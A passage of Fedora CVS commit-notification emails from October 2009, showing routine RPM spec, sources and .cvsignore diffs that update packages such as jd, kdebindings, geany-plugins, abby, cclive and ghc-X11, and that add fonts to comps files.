Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-10/jd.spec,v
retrieving revision 1.471
retrieving revision 1.472
diff -u -p -r1.471 -r1.472
--- jd.spec	25 Oct 2009 17:39:59 -0000	1.471
+++ jd.spec	31 Oct 2009 17:08:38 -0000	1.472
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3140_trunk
+%define         strtag        svn3151_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Mon Oct 26 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3140
+* Sun Nov  1 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3151
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-10/sources,v
retrieving revision 1.411
retrieving revision 1.412
diff -u -p -r1.411 -r1.412
--- sources	25 Oct 2009 17:39:59 -0000	1.411
+++ sources	31 Oct 2009 17:08:38 -0000	1.412
@@ -1 +1 @@
-c6effb9c103ac8f25f4b1e5423660c1d  jd-2.5.0-svn3140_trunk.tgz
+3ca05c44dbb59e25af84bda98bf17327  jd-2.5.0-svn3151_trunk.tgz



From mtasaka at fedoraproject.org  Sat Oct 31 17:08:39 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sat, 31 Oct 2009 17:08:39 +0000 (UTC)
Subject: rpms/jd/F-12 .cvsignore, 1.405, 1.406 jd.spec, 1.469, 1.470 sources,
	1.406, 1.407
Message-ID: <20091031170839.C32C111C0345@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17955/F-12

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Sun Nov  1 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3151



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/.cvsignore,v
retrieving revision 1.405
retrieving revision 1.406
diff -u -p -r1.405 -r1.406
--- .cvsignore	25 Oct 2009 17:40:00 -0000	1.405
+++ .cvsignore	31 Oct 2009 17:08:39 -0000	1.406
@@ -1 +1 @@
-jd-2.5.0-svn3140_trunk.tgz
+jd-2.5.0-svn3151_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/jd.spec,v
retrieving revision 1.469
retrieving revision 1.470
diff -u -p -r1.469 -r1.470
--- jd.spec	25 Oct 2009 17:40:00 -0000	1.469
+++ jd.spec	31 Oct 2009 17:08:39 -0000	1.470
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3140_trunk
+%define         strtag        svn3151_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Mon Oct 26 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3140
+* Sun Nov  1 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3151
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/sources,v
retrieving revision 1.406
retrieving revision 1.407
diff -u -p -r1.406 -r1.407
--- sources	25 Oct 2009 17:40:00 -0000	1.406
+++ sources	31 Oct 2009 17:08:39 -0000	1.407
@@ -1 +1 @@
-c6effb9c103ac8f25f4b1e5423660c1d  jd-2.5.0-svn3140_trunk.tgz
+3ca05c44dbb59e25af84bda98bf17327  jd-2.5.0-svn3151_trunk.tgz



From mtasaka at fedoraproject.org  Sat Oct 31 17:08:40 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sat, 31 Oct 2009 17:08:40 +0000 (UTC)
Subject: rpms/jd/devel .cvsignore, 1.394, 1.395 jd.spec, 1.457, 1.458 sources,
	1.395, 1.396
Message-ID: <20091031170840.5572711C00EF@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17955/devel

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Sun Nov  1 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3151



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/.cvsignore,v
retrieving revision 1.394
retrieving revision 1.395
diff -u -p -r1.394 -r1.395
--- .cvsignore	25 Oct 2009 17:40:00 -0000	1.394
+++ .cvsignore	31 Oct 2009 17:08:39 -0000	1.395
@@ -1 +1 @@
-jd-2.5.0-svn3140_trunk.tgz
+jd-2.5.0-svn3151_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/jd.spec,v
retrieving revision 1.457
retrieving revision 1.458
diff -u -p -r1.457 -r1.458
--- jd.spec	25 Oct 2009 17:40:00 -0000	1.457
+++ jd.spec	31 Oct 2009 17:08:39 -0000	1.458
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3140_trunk
+%define         strtag        svn3151_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Mon Oct 26 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3140
+* Sun Nov  1 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3151
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/sources,v
retrieving revision 1.395
retrieving revision 1.396
diff -u -p -r1.395 -r1.396
--- sources	25 Oct 2009 17:40:01 -0000	1.395
+++ sources	31 Oct 2009 17:08:39 -0000	1.396
@@ -1 +1 @@
-c6effb9c103ac8f25f4b1e5423660c1d  jd-2.5.0-svn3140_trunk.tgz
+3ca05c44dbb59e25af84bda98bf17327  jd-2.5.0-svn3151_trunk.tgz



From rdieter at fedoraproject.org  Sat Oct 31 17:21:11 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 17:21:11 +0000 (UTC)
Subject: rpms/kdebindings/devel .cvsignore, 1.65, 1.66 kdebindings.spec,
	1.249, 1.250 sources, 1.72, 1.73
Message-ID: <20091031172111.3B54911C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebindings/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22210

Modified Files:
	.cvsignore kdebindings.spec sources 
Log Message:
* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
- 4.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdebindings/devel/.cvsignore,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- .cvsignore	6 Oct 2009 13:46:40 -0000	1.65
+++ .cvsignore	31 Oct 2009 17:21:10 -0000	1.66
@@ -1 +1 @@
-kdebindings-4.3.2.tar.bz2
+kdebindings-4.3.3.tar.bz2


Index: kdebindings.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebindings/devel/kdebindings.spec,v
retrieving revision 1.249
retrieving revision 1.250
diff -u -p -r1.249 -r1.250
--- kdebindings.spec	26 Oct 2009 20:32:59 -0000	1.249
+++ kdebindings.spec	31 Oct 2009 17:21:10 -0000	1.250
@@ -30,7 +30,11 @@
 %endif
 
 %define pykde4_akonadi 1
+%if 0%{?fedora} > 11
+%define pyqt4_version 4.6.1
+%else
 %define pyqt4_version 4.5.2
+%endif
 
 %if 0%{?rhel}
 %define falcon 0
@@ -52,8 +56,8 @@
 %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")
 
 Name: kdebindings
-Version: 4.3.2
-Release: 3%{?dist}
+Version: 4.3.3
+Release: 1%{?dist}
 Summary: KDE bindings to non-C++ languages
 
 # http://techbase.kde.org/Policies/Licensing_Policy
@@ -539,6 +543,9 @@ fi
 
 
 %changelog
+* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
+- 4.3.3
+
 * Mon Oct 26 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
 - sync archs supporting csharp(mono)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdebindings/devel/sources,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- sources	5 Oct 2009 10:46:45 -0000	1.72
+++ sources	31 Oct 2009 17:21:10 -0000	1.73
@@ -1 +1 @@
-3187ea9d9913edf4c25ba299dab0d117  kdebindings-4.3.2.tar.bz2
+4bc76f60e2c175d4e413a374c87f0e19  kdebindings-4.3.3.tar.bz2



From dmaphy at fedoraproject.org  Sat Oct 31 17:22:27 2009
From: dmaphy at fedoraproject.org (Dominic Hopf)
Date: Sat, 31 Oct 2009 17:22:27 +0000 (UTC)
Subject: rpms/geany-plugins/F-12 .cvsignore, 1.3, 1.4 geany-plugins.spec, 1.3,
	1.4 sources, 1.3, 1.4
Message-ID: <20091031172227.ADEC611C00EF@cvs1.fedora.phx.redhat.com>

Author: dmaphy

Update of /cvs/pkgs/rpms/geany-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22566

Modified Files:
	.cvsignore geany-plugins.spec sources 
Log Message:
New upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/geany-plugins/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	10 Aug 2009 19:31:36 -0000	1.3
+++ .cvsignore	31 Oct 2009 17:22:27 -0000	1.4
@@ -1 +1 @@
-geany-plugins-0.17.1.tar.bz2
+geany-plugins-0.18.tar.bz2


Index: geany-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/geany-plugins/F-12/geany-plugins.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- geany-plugins.spec	16 Aug 2009 21:08:19 -0000	1.3
+++ geany-plugins.spec	31 Oct 2009 17:22:27 -0000	1.4
@@ -2,8 +2,8 @@
 %global req_geany_ver 0.18
 
 Name:           geany-plugins
-Version:        0.17.1
-Release:        6%{?dist}
+Version:        0.18
+Release:        1%{?dist}
 Summary:        Plugins for Geany
 
 Group:          Development/Tools
@@ -167,6 +167,39 @@ Spellcheck checks the selected text (or 
 library Enchant
 
 
+%package geanydoc
+Summary:   Call documentation from within Geany
+Group:     Development/Tools
+Requires:  geany >= %{req_geany_ver}
+Requires:  geany-plugins-common = %{version}-%{release}
+
+%description geanydoc
+Geanydoc allows you to execute specific commands on the word under the cursor.
+This word is passed as an argument to the command. The output of the command
+can either be placed into a special buffer called "DOC" or can be used to
+execute an external program. Geanydoc is intended to be used for searching
+through API documentation.
+
+
+%package geanyprj
+Summary:   Provides an alternate project management tool for Geany
+Group:     Development/Tools
+Requires:  geany >= %{req_geany_ver}
+Requires:  geany-plugins-common = %{version}-%{release}
+
+%description geanyprj
+Geanyprj provides an alternate project management approach to Geany's built-in
+project facility. The idea is to be less a "session manager" as the built-in
+project management does: It allows/requires you to manually open and close
+project and allows you to store project files in different locations from
+project sources.
+
+Geanyprj takes a different approach:
+It never saves session information, so that project files can be stored in
+version control without constant noise from changes of opened files or cursor
+position. You also will never have to open/close projects manually. If a
+*.geanyprj file is found somewhere up in path it will be opened automatically.
+
 
 %prep
 %setup -q
@@ -254,7 +287,22 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/geany/spellcheck.so
 
 
+%files geanydoc
+%defattr(-,root,root,-)
+%doc %{geany_plug_docdir}/geanydoc/
+%{_libdir}/geany/geanydoc.so
+
+
+%files geanyprj
+%defattr(-,root,root,-)
+%doc %{geany_plug_docdir}/geanyprj/
+%{_libdir}/geany/geanyprj.so
+
+
 %changelog
+* Sat Oct 31 2009 Dominic Hopf <dmaphy at fedoraproject.org> 0.18-1
+- update to new upstream release
+
 * Sat Aug 16 2009 Dominic Hopf <dmaphy at fedoraproject.org> 0.17.1-6
 - build against and require geany 0.18
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/geany-plugins/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	10 Aug 2009 19:31:36 -0000	1.3
+++ sources	31 Oct 2009 17:22:27 -0000	1.4
@@ -1 +1 @@
-cf69cdb50917609915240f5d2ba4e2d7  geany-plugins-0.17.1.tar.bz2
+bf069562a8cf3c3bd48b7282bcce3bc3  geany-plugins-0.18.tar.bz2



From eponyme at fedoraproject.org  Sat Oct 31 18:02:23 2009
From: eponyme at fedoraproject.org (Nicoleau Fabien)
Date: Sat, 31 Oct 2009 18:02:23 +0000 (UTC)
Subject: rpms/abby/devel .cvsignore, 1.6, 1.7 abby.spec, 1.6, 1.7 sources,
	1.6, 1.7
Message-ID: <20091031180223.53F5011C00EF@cvs1.fedora.phx.redhat.com>

Author: eponyme

Update of /cvs/pkgs/rpms/abby/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv604

Modified Files:
	.cvsignore abby.spec sources 
Log Message:
Update to 0.4.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/abby/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	5 Sep 2009 14:49:34 -0000	1.6
+++ .cvsignore	31 Oct 2009 18:02:21 -0000	1.7
@@ -1 +1 @@
-abby-0.4.3.tar.bz2
+abby-0.4.4.tar.bz2


Index: abby.spec
===================================================================
RCS file: /cvs/pkgs/rpms/abby/devel/abby.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- abby.spec	5 Sep 2009 14:49:34 -0000	1.6
+++ abby.spec	31 Oct 2009 18:02:22 -0000	1.7
@@ -1,5 +1,5 @@
 Name:           abby
-Version:        0.4.3
+Version:        0.4.4
 Release:        1%{?dist}
 Summary:        Front-end for cclive and clive
 
@@ -55,6 +55,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 31 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.4.4-1
+- Update to 0.4.4
 * Sun Sep  5 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.4.3-1
 - Update to 0.4.3
 * Mon Aug  3 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.4.2-1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/abby/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	5 Sep 2009 14:49:34 -0000	1.6
+++ sources	31 Oct 2009 18:02:22 -0000	1.7
@@ -1 +1 @@
-943a2d2c33ba8d7c437b814f0da71f67  abby-0.4.3.tar.bz2
+15bdf608a2f30c050df3057365716963  abby-0.4.4.tar.bz2



From eponyme at fedoraproject.org  Sat Oct 31 18:05:34 2009
From: eponyme at fedoraproject.org (Nicoleau Fabien)
Date: Sat, 31 Oct 2009 18:05:34 +0000 (UTC)
Subject: rpms/abby/F-12 .cvsignore, 1.6, 1.7 abby.spec, 1.6, 1.7 sources, 1.6,
	1.7
Message-ID: <20091031180535.04E3D11C00EF@cvs1.fedora.phx.redhat.com>

Author: eponyme

Update of /cvs/pkgs/rpms/abby/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1579

Modified Files:
	.cvsignore abby.spec sources 
Log Message:
Update to 0.4.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/abby/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	5 Sep 2009 14:49:34 -0000	1.6
+++ .cvsignore	31 Oct 2009 18:05:34 -0000	1.7
@@ -1 +1 @@
-abby-0.4.3.tar.bz2
+abby-0.4.4.tar.bz2


Index: abby.spec
===================================================================
RCS file: /cvs/pkgs/rpms/abby/F-12/abby.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- abby.spec	5 Sep 2009 14:49:34 -0000	1.6
+++ abby.spec	31 Oct 2009 18:05:34 -0000	1.7
@@ -1,5 +1,5 @@
 Name:           abby
-Version:        0.4.3
+Version:        0.4.4
 Release:        1%{?dist}
 Summary:        Front-end for cclive and clive
 
@@ -55,6 +55,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 31 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.4.4-1
+- Update to 0.4.4
 * Sun Sep  5 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.4.3-1
 - Update to 0.4.3
 * Mon Aug  3 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.4.2-1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/abby/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	5 Sep 2009 14:49:34 -0000	1.6
+++ sources	31 Oct 2009 18:05:34 -0000	1.7
@@ -1 +1 @@
-943a2d2c33ba8d7c437b814f0da71f67  abby-0.4.3.tar.bz2
+15bdf608a2f30c050df3057365716963  abby-0.4.4.tar.bz2



From eponyme at fedoraproject.org  Sat Oct 31 18:09:25 2009
From: eponyme at fedoraproject.org (Nicoleau Fabien)
Date: Sat, 31 Oct 2009 18:09:25 +0000 (UTC)
Subject: rpms/abby/F-11 .cvsignore, 1.6, 1.7 abby.spec, 1.5, 1.6 sources, 1.6,
	1.7
Message-ID: <20091031180925.E1DEF11C00EF@cvs1.fedora.phx.redhat.com>

Author: eponyme

Update of /cvs/pkgs/rpms/abby/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2618

Modified Files:
	.cvsignore abby.spec sources 
Log Message:
Update to 0.4.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/abby/F-11/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	5 Sep 2009 14:51:08 -0000	1.6
+++ .cvsignore	31 Oct 2009 18:09:25 -0000	1.7
@@ -1 +1 @@
-abby-0.4.3.tar.bz2
+abby-0.4.4.tar.bz2


Index: abby.spec
===================================================================
RCS file: /cvs/pkgs/rpms/abby/F-11/abby.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- abby.spec	5 Sep 2009 14:51:08 -0000	1.5
+++ abby.spec	31 Oct 2009 18:09:25 -0000	1.6
@@ -1,5 +1,5 @@
 Name:           abby
-Version:        0.4.3
+Version:        0.4.4
 Release:        1%{?dist}
 Summary:        Front-end for cclive and clive
 
@@ -55,6 +55,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 31 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.4.4-1
+- Update to 0.4.4
 * Sun Sep  5 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.4.3-1
 - Update to 0.4.3
 * Mon Aug  3 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.4.2-1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/abby/F-11/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	5 Sep 2009 14:51:08 -0000	1.6
+++ sources	31 Oct 2009 18:09:25 -0000	1.7
@@ -1 +1 @@
-943a2d2c33ba8d7c437b814f0da71f67  abby-0.4.3.tar.bz2
+15bdf608a2f30c050df3057365716963  abby-0.4.4.tar.bz2



From ozamosi at fedoraproject.org  Sat Oct 31 18:10:14 2009
From: ozamosi at fedoraproject.org (Robin Sonefors)
Date: Sat, 31 Oct 2009 18:10:14 +0000 (UTC)
Subject: comps comps-f11.xml.in,1.322,1.323 comps-f13.xml.in,1.66,1.67
Message-ID: <20091031181014.6062111C00EF@cvs1.fedora.phx.redhat.com>

Author: ozamosi

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2633

Modified Files:
	comps-f11.xml.in comps-f13.xml.in 
Log Message:
Add gdouros-aegean-fonts and gdouros-aegyptus-fonts to F11 and F13



Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f11.xml.in,v
retrieving revision 1.322
retrieving revision 1.323
diff -u -p -r1.322 -r1.323
--- comps-f11.xml.in	31 Oct 2009 16:48:48 -0000	1.322
+++ comps-f11.xml.in	31 Oct 2009 18:10:13 -0000	1.323
@@ -1734,6 +1734,8 @@
       <packagereq type="optional">freecol-imperator-fonts</packagereq>
       <packagereq type="optional">freecol-shadowedblack-fonts</packagereq>
       <packagereq type="optional">gargi-fonts</packagereq>
+      <packagereq type="optional">gdouros-aegean-fonts</packagereq>
+      <packagereq type="optional">gdouros-aegyptus-fonts</packagereq>
       <packagereq type="optional">gfs-ambrosia-fonts</packagereq>
       <packagereq type="optional">gfs-artemisia-fonts</packagereq>
       <packagereq type="optional">gfs-baskerville-fonts</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- comps-f13.xml.in	31 Oct 2009 16:48:48 -0000	1.66
+++ comps-f13.xml.in	31 Oct 2009 18:10:13 -0000	1.67
@@ -1908,6 +1908,8 @@
       <packagereq type="optional">freecol-imperator-fonts</packagereq>
       <packagereq type="optional">freecol-shadowedblack-fonts</packagereq>
       <packagereq type="optional">gargi-fonts</packagereq>
+      <packagereq type="optional">gdouros-aegean-fonts</packagereq>
+      <packagereq type="optional">gdouros-aegyptus-fonts</packagereq>
       <packagereq type="optional">gfs-ambrosia-fonts</packagereq>
       <packagereq type="optional">gfs-artemisia-fonts</packagereq>
       <packagereq type="optional">gfs-baskerville-fonts</packagereq>



From eponyme at fedoraproject.org  Sat Oct 31 18:13:33 2009
From: eponyme at fedoraproject.org (Nicoleau Fabien)
Date: Sat, 31 Oct 2009 18:13:33 +0000 (UTC)
Subject: rpms/cclive/devel .cvsignore, 1.10, 1.11 cclive.spec, 1.10,
	1.11 sources, 1.10, 1.11
Message-ID: <20091031181333.77EE011C00EF@cvs1.fedora.phx.redhat.com>

Author: eponyme

Update of /cvs/pkgs/rpms/cclive/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3749

Modified Files:
	.cvsignore cclive.spec sources 
Log Message:
Update to 0.5.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	1 Oct 2009 20:09:58 -0000	1.10
+++ .cvsignore	31 Oct 2009 18:13:32 -0000	1.11
@@ -1 +1 @@
-cclive-0.5.2.tar.bz2
+cclive-0.5.4.tar.bz2


Index: cclive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/devel/cclive.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- cclive.spec	1 Oct 2009 20:09:59 -0000	1.10
+++ cclive.spec	31 Oct 2009 18:13:33 -0000	1.11
@@ -1,5 +1,5 @@
 Name:           cclive
-Version:        0.5.2
+Version:        0.5.4
 Release:        1%{?dist}
 Summary:        Command line video extraction utility
 
@@ -41,6 +41,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 31 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.4-1
+- Update to 0.5.4
 * Thu Oct  1 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.2-1
 - Update to 0.5.2
 * Sat Sep 19 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.1-1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	1 Oct 2009 20:09:59 -0000	1.10
+++ sources	31 Oct 2009 18:13:33 -0000	1.11
@@ -1 +1 @@
-bf8427a6386c439227045bf4dfcae601  cclive-0.5.2.tar.bz2
+976bfeb3be11a278fac9658ae7f0651e  cclive-0.5.4.tar.bz2



From eponyme at fedoraproject.org  Sat Oct 31 18:17:42 2009
From: eponyme at fedoraproject.org (Nicoleau Fabien)
Date: Sat, 31 Oct 2009 18:17:42 +0000 (UTC)
Subject: rpms/cclive/F-12 .cvsignore, 1.10, 1.11 cclive.spec, 1.10,
	1.11 sources, 1.10, 1.11
Message-ID: <20091031181742.C51B211C00EF@cvs1.fedora.phx.redhat.com>

Author: eponyme

Update of /cvs/pkgs/rpms/cclive/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4770

Modified Files:
	.cvsignore cclive.spec sources 
Log Message:
Update to 0.5.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	1 Oct 2009 20:14:29 -0000	1.10
+++ .cvsignore	31 Oct 2009 18:17:41 -0000	1.11
@@ -1 +1 @@
-cclive-0.5.2.tar.bz2
+cclive-0.5.4.tar.bz2


Index: cclive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/F-12/cclive.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- cclive.spec	1 Oct 2009 20:14:29 -0000	1.10
+++ cclive.spec	31 Oct 2009 18:17:41 -0000	1.11
@@ -1,5 +1,5 @@
 Name:           cclive
-Version:        0.5.2
+Version:        0.5.4
 Release:        1%{?dist}
 Summary:        Command line video extraction utility
 
@@ -41,6 +41,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 31 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.4-1
+- Update to 0.5.4
 * Thu Oct  1 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.2-1
 - Update to 0.5.2
 * Sat Sep 19 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.1-1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	1 Oct 2009 20:14:29 -0000	1.10
+++ sources	31 Oct 2009 18:17:41 -0000	1.11
@@ -1 +1 @@
-bf8427a6386c439227045bf4dfcae601  cclive-0.5.2.tar.bz2
+976bfeb3be11a278fac9658ae7f0651e  cclive-0.5.4.tar.bz2



From ynemoy at fedoraproject.org  Sat Oct 31 18:22:49 2009
From: ynemoy at fedoraproject.org (Yaakov Meir Nemoy)
Date: Sat, 31 Oct 2009 18:22:49 +0000 (UTC)
Subject: rpms/ghc-X11/devel .cvsignore, 1.2, 1.3 ghc-X11.spec, 1.17,
	1.18 sources, 1.2, 1.3
Message-ID: <20091031182249.3219711C00EF@cvs1.fedora.phx.redhat.com>

Author: ynemoy

Update of /cvs/pkgs/rpms/ghc-X11/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6557

Modified Files:
	.cvsignore ghc-X11.spec sources 
Log Message:
Updates to newest upstream



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ghc-X11/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	6 Mar 2009 19:31:45 -0000	1.2
+++ .cvsignore	31 Oct 2009 18:22:48 -0000	1.3
@@ -1 +1,2 @@
 X11-1.4.5.tar.gz
+X11-1.4.6.1.tar.gz


Index: ghc-X11.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ghc-X11/devel/ghc-X11.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- ghc-X11.spec	25 Jul 2009 00:03:45 -0000	1.17
+++ ghc-X11.spec	31 Oct 2009 18:22:48 -0000	1.18
@@ -7,8 +7,8 @@
 %global debug_package %{nil}
 
 Name:           ghc-%{pkg_name}
-Version:        1.4.5
-Release:        12%{?dist}
+Version:        1.4.6.1
+Release:        1%{?dist}
 Summary:        Haskell %{pkg_name} library
 
 Group:          Development/Libraries
@@ -139,6 +139,9 @@ fi
 
 
 %changelog
+* Thu Oct 29 2009 Yaakov M. Nemoy <ynemoy at fedoraproject.org> - 1.4.6.1-1
+- update to latest upstream
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.5-12
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ghc-X11/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	6 Mar 2009 19:31:45 -0000	1.2
